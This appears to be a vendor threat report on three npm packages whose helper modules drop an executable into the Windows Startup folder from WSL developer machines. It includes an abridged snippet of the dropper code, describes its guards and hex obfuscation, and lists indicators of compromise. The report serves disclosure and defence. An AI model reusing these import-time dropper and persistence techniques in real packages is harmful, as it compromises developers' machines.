Securing the agentic AI software supply chain
← Research
Threat report Jul 29, 2026

The helper you never imported: a WSL-to-Windows dropper two levels down the tree

korvath and korvica, published by the account kilomev, and streak-daily-lib, published by taipen_chat, present as calendar and streak math libraries. The consumer package is harmless. The payload rides in a helper that runs on import, detects a Windows Subsystem for Linux developer machine, downloads an executable from a shared file-hosting bucket, and writes it into the Windows Startup folder for logon persistence. The three packages link to one operation at high confidence.

korvath and korvica (published July 21, 2026 by the account kilomev) present as a goal and hydration streak-analytics library and its calendar-math helper. streak-daily-lib, published by the account taipen_chat, presents as the same kind of primitive. The package a developer installs by name is a working, harmless library. The payload lives in the helper it imports, and it runs the moment that helper is evaluated, with no install script involved.

The helper checks whether it is running on a Windows Subsystem for Linux developer machine, reaches a file-hosting bucket, and writes an executable into the Windows Startup folder so it runs at every login. The three packages link to one operation at high confidence.

The artifacts

korvath is the base package. Its own code computes streaks over calendar days and does nothing hostile. It imports five functions from korvica (dayKey, addDays, dayDiff, bucketByDay, qualifyingDayKeys), so installing and importing korvath pulls korvica in and evaluates it. korvica is where the payload sits. Both were published on July 21, 2026 by kilomev.

streak-daily-lib repeats the pattern under a second account, taipen_chat. Its package.json describes it as a helper for svelte-insights-hydration, a consumer package that is not published (npm returns HTTP 404 for that name). Its own code carries the same dropper, fully hex-encoded.

PackagePublishing accountRole
korvathkilomevBenign consumer that imports korvica
korvicakilomevPayload helper, plaintext dropper
streak-daily-libtaipen_chatPayload helper, hex-obfuscated dropper

What it does

korvica’s index.mjs ends with a top-level async function that runs on import, placed directly under a benign startup self-check so it reads as more initialization. It returns early unless four conditions hold: the runtime is not a browser, process.platform is linux, NODE_ENV is not production, and /mnt/c exists. The /mnt/c test is the discriminator. It identifies a Linux process running under WSL with the Windows drive mounted, which describes a developer workstation rather than a server or a CI runner.

Past the guards, the code locates the real Windows user profile under /mnt/c/Users (skipping Default, Public, and All Users, and requiring an NTUSER.DAT hive), builds the path to that user’s Startup folder, downloads a file from a Backblaze B2 bucket, and writes it there as vite-native-helper.exe. Anything placed in the Startup folder executes at the next Windows login. The fs and path modules arrive through dynamic await import() rather than static imports, and the download URL is assembled from separate variables, so neither the filesystem capability nor the host reads as a literal on a quick pass. Every error is swallowed.

if (typeof window !== 'undefined' || typeof process === 'undefined') return;
if (process.env.NODE_ENV === 'production' || process.platform !== 'linux') return;
const { existsSync, mkdirSync, writeFileSync } = await import('fs');
const base = '/mnt/c';
if (!existsSync(base)) return;
// ...resolve the Windows user profile, build the Startup path...
const out = join(target, 'vite-native-helper.exe');
writeFileSync(out, Buffer.from(await res.arrayBuffer()));

streak-daily-lib carries the same behavior with heavier concealment. A configuration table of hex strings is decoded at run time, recovering the same Windows paths, the same WSL markers, and the same host. It downloads a helper.tar.gz and a background-service binary from the same bucket, spawns tar to unpack the archive, launches the service detached, and writes an env-setup.cmd launcher into the Startup folder that starts the binary silently at login.

korvath (benign base) imports korvica korvica (payload helper) import-time WSL dropper streak-daily-lib hex-obfuscated variant Shared file-hosting bucket f004[.]backblazeb2[.]com Windows Startup folder logon persistence via /mnt/c Aephix
The benign consumer imports the helper, the helper drops an executable from a shared bucket into the Windows Startup folder, and a second account feeds the same bucket.

The delivery crosses a boundary a developer tends to trust. The malicious code runs inside the Linux or WSL environment, where a mistake is assumed to stay contained, and it writes into the Windows host through the mounted drive. There is no install hook, so ignore-scripts does not stop it. Import happens during an ordinary vite build or dev run and during pnpm test, which korvath’s own README states plainly.

One operation across two accounts

The three packages belong to one operation, at high confidence. The evidence is observable without any account of how the connection is drawn. All of them retrieve their payload from the same file-hosting bucket. They carry the same calendar and streak decoy theme, and they use the same packaging shape of a benign consumer importing a payload-bearing helper against the same WSL-to-Windows target. The work is split across the accounts kilomev and taipen_chat, which is why a per-package or per-account view sees a handful of unrelated calendar utilities instead of one campaign.

The operation outlives any single package

Blocking korvica by name leaves the operation intact. It can republish the helper under a new name, wire it into a fresh benign consumer, and keep the same bucket and the same drop. Treating korvath, korvica, and streak-daily-lib as one operation lets a defender block the whole set and the infrastructure behind it, which is the part that survives a rename.

What a defender can do

Search your lockfiles for korvath, korvica, and streak-daily-lib. If any resolved on a WSL developer machine, inspect the Windows user’s Startup folder from the Linux side, at /mnt/c/Users/<name>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup, for vite-native-helper.exe or env-setup.cmd, and treat the host as compromised.

The import-time trigger means ignore-scripts=true gives no protection here. The behavior only runs on a Linux or WSL host with the Windows drive mounted, so a plain CI image or a production build never exhibits it, which narrows where you can observe it and helps explain how it stayed quiet.

Provenance does not close the gap. korvath’s own bytes are clean, so reading the package you install tells you nothing. The hostile behavior sits one import away, in a dependency named to look like ordinary calendar math.

Where Aephix fits

A benign package whose only fault is the dependency it pulls is the case that per-artifact review misses. Aephix is threat intelligence for the AI agent supply chain. It is not a patch or a sandbox. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a helper from a coordinated campaign is something you recognize before you connect. When you are looking at a malicious package, model, skill, MCP server, extension, or container, Aephix Sleuth links it to the wider operation behind it, with a confidence level and supporting evidence, so you can act against the whole operation rather than the single artifact.

Indicators of compromise

TypeIndicatorContext
npm packagekorvathBenign consumer that imports korvica
npm packagekorvicaPlaintext WSL-to-Windows dropper helper
npm packagestreak-daily-libHex-obfuscated dropper helper
npm accountkilomevPublisher of korvath and korvica
npm accounttaipen_chatPublisher of streak-daily-lib
Referenced package (404)svelte-insights-hydrationConsumer claimed by streak-daily-lib, not published
Staging hostf004[.]backblazeb2[.]com/file/dp8hbvocjd2fpzaBackblaze B2 bucket serving the payloads
Payload objectvite-dep.dat, helper.tar.gz, background-serviceFiles fetched from the bucket
Dropped filevite-native-helper.exeWritten into the Windows Startup folder
Dropped fileenv-setup.cmdSilent launcher written into the Startup folder
Environment gate/mnt/c present, WSL_DISTRO_NAME setWSL developer-machine selector
PersistenceAppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupLogon autorun location